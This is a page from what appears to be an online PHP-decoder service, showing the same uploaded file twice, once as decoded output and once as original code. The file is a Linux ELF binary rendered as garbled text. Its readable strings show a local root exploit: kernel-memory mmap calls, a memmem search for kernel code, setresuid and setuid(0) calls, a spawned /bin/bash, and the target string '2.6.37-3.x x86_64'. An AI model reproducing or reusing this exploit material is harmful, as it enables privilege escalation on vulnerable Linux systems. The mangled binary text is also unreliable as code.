Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
ELF 4!4 (444444<D HHHDDQtdRtd/lib/ld-linux.so.2GNUGNU?n( ~6![ KK P06oW)aD..
Decoded Output download
<? ELF 4!4 (444444<D HHHDDQtdRtd/lib/ld-linux.so.2GNUGNU?n( ~6![
KK P06oW)aDyh<__gmon_start__libc.so.6_IO_stdin_usedsetuidexecl__assert_failprintfmmapmemsetsetresgidmemcpygetgidsetresuidgetuidclosesyscallmemmem__libc_start_mainGLIBC_2.0ii
$
(,0
48<US[t>X[5%%h%h%h%h%h %h(%h0%h8p% h@`%$hHP%(hP@%,hX0%0h` %4hh%8hp%<hx1^PTRhhQVh(US=Hu?L9sLL9rH[]t&'Utt $UVSPE EEWEEEEEE%EE1EUEEEUEEEPEEXEP11 EP13M3E EE&EUEME9u\ufffdE}~EEUEE}~EE EEE} ~&E}jE}P[^]UWVS]}EEH]uEED$D$D$D$ED$$*IEE$t$D$D$)D$@$Dc[^_]UWVSD$pD$D$D$2D$D$$D$t|$tt$D$D$5D$@$PD$D$D$t$$$D$lND$lD$tt8D$lD$tu5D$D$9D$@$TD$l|$l~|$l~$D$D$<D$@$L$>D$@T$DL$HD$LMD$`T$dkD$XT$\ufffdD$HD$D$D$2D$D$$:D$xD$H9D$xt$D$D$@D$@$hD$D$D$x$D$xD$D$D$x$h$kK))D$x
T$D$5$L$`T$`D$`L$T$$L$XT$XD$XL$T$$D$piL$ |$$D$ T$$D$PT$TD$D$PD$D$D$x$D$||$|u$D$D$GD$@$D|$|tA|$ptD$XT$\ufffd\$`t$dD$@T$DHD$|p|$pl$pD$@T$DL$(|$,D$(T$,D$l)$R$t$D$D$LD$@$g/D$D$r$v[^_]U]t&'UWVSOY7)t$1ED$ED$E$9r[^_]$UStfu[]US[Y[1.c!close(fd)(map = mmap((void*)0x380000000, 0x010000000, 3, 0x32, 0,0)) == (void*)0x380000000map[i+1]i<0x010000000/4(code = (void*)mmap((void*)kbase, 0x2000000, 7, 0x32, 0, 0)) == (void*)kbase2.6.37-3.x x86_64
[email protected] 2010
Hp = memmem(code, 1024, &needle, 8)!setuid(0)-sh/bin/bashmainsheep
o `@
`Xo8oo &6FVfvGCC: (Ubuntu 4.4.3-4ubuntu5.1) 4.4.3GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment44#HH 1hh$HDo N@@ V``^o$ko88 z XX ``
0 88S L@@ HH 0H H 0& / P+*4Hh @`8 X
`
8 @H(5PKHZLht! *@ 5EU \o ~ 8m<
"@/DVhDuZHPH
(R$crtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.7021dtor_idx.7023frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_aux1.c__PRETTY_FUNCTION__.3406__PRETTY_FUNCTION__.3427_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICdata_startmmap@@GLIBC_2.0__libc_csu_fini_startsyscall@@GLIBC_2.0__gmon_start___Jv_RegisterClasses_fp_hw_finisheepmemset@@GLIBC_2.0__libc_start_main@@GLIBC_2.0execl@@GLIBC_2.0__assert_fail@@GLIBC_2.0_IO_stdin_usedsetresuid@@GLIBC_2.0__data_startsetresgid@@GLIBC_2.0setuid@@GLIBC_2.0memcpy@@GLIBC_2.0__dso_handle__DTOR_END____libc_csu_initfuckprintf@@GLIBC_2.0getuid@@GLIBC_2.0memmem@@GLIBC_2.0close@@GLIBC_2.0__bss_start_end_edata__i686.get_pc_thunk.bxgetgid@@GLIBC_2.0main_init ?>
Did this file decode correctly?
Original Code
ELF 4!4 (444444<D HHHDDQtdRtd/lib/ld-linux.so.2GNUGNU?n( ~6![
KK P06oW)aDyh<__gmon_start__libc.so.6_IO_stdin_usedsetuidexecl__assert_failprintfmmapmemsetsetresgidmemcpygetgidsetresuidgetuidclosesyscallmemmem__libc_start_mainGLIBC_2.0ii
$
(,0
48<US[t>X[5%%h%h%h%h%h %h(%h0%h8p% h@`%$hHP%(hP@%,hX0%0h` %4hh%8hp%<hx1^PTRhhQVh(US=Hu?L9sLL9rH[]t&'Utt $UVSPE EEWEEEEEE%EE1EUEEEUEEEPEEXEP11 EP13M3E EE&EUEME9u\E}~EEUEE}~EE EEE} ~&E}jE}P[^]UWVS]}EEH]uEED$D$D$D$ED$$*IEE$t$D$D$)D$@$Dc[^_]UWVSD$pD$D$D$2D$D$$D$t|$tt$D$D$5D$@$PD$D$D$t$$$D$lND$lD$tt8D$lD$tu5D$D$9D$@$TD$l|$l~|$l~$D$D$<D$@$L$>D$@T$DL$HD$LMD$`T$dkD$XT$\D$HD$D$D$2D$D$$:D$xD$H9D$xt$D$D$@D$@$hD$D$D$x$D$xD$D$D$x$h$kK))D$x
T$D$5$L$`T$`D$`L$T$$L$XT$XD$XL$T$$D$piL$ |$$D$ T$$D$PT$TD$D$PD$D$D$x$D$||$|u$D$D$GD$@$D|$|tA|$ptD$XT$\\$`t$dD$@T$DHD$|p|$pl$pD$@T$DL$(|$,D$(T$,D$l)$R$t$D$D$LD$@$g/D$D$r$v[^_]U]t&'UWVSOY7)t$1ED$ED$E$9r[^_]$UStfu[]US[Y[1.c!close(fd)(map = mmap((void*)0x380000000, 0x010000000, 3, 0x32, 0,0)) == (void*)0x380000000map[i+1]i<0x010000000/4(code = (void*)mmap((void*)kbase, 0x2000000, 7, 0x32, 0, 0)) == (void*)kbase2.6.37-3.x x86_64
[email protected] 2010
Hp = memmem(code, 1024, &needle, 8)!setuid(0)-sh/bin/bashmainsheep
o `@
`Xo8oo &6FVfvGCC: (Ubuntu 4.4.3-4ubuntu5.1) 4.4.3GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment44#HH 1hh$HDo N@@ V``^o$ko88 z XX ``
0 88S L@@ HH 0H H 0& / P+*4Hh @`8 X
`
8 @H(5PKHZLht! *@ 5EU \o ~ 8m<
"@/DVhDuZHPH
(R$crtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.7021dtor_idx.7023frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_aux1.c__PRETTY_FUNCTION__.3406__PRETTY_FUNCTION__.3427_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICdata_startmmap@@GLIBC_2.0__libc_csu_fini_startsyscall@@GLIBC_2.0__gmon_start___Jv_RegisterClasses_fp_hw_finisheepmemset@@GLIBC_2.0__libc_start_main@@GLIBC_2.0execl@@GLIBC_2.0__assert_fail@@GLIBC_2.0_IO_stdin_usedsetresuid@@GLIBC_2.0__data_startsetresgid@@GLIBC_2.0setuid@@GLIBC_2.0memcpy@@GLIBC_2.0__dso_handle__DTOR_END____libc_csu_initfuckprintf@@GLIBC_2.0getuid@@GLIBC_2.0memmem@@GLIBC_2.0close@@GLIBC_2.0__bss_start_end_edata__i686.get_pc_thunk.bxgetgid@@GLIBC_2.0main_init
Function Calls
None |
Stats
MD5 | c0da2363e4ecafd996d35ae414b9f2d6 |
Eval Count | 0 |
Decode Time | 108 ms |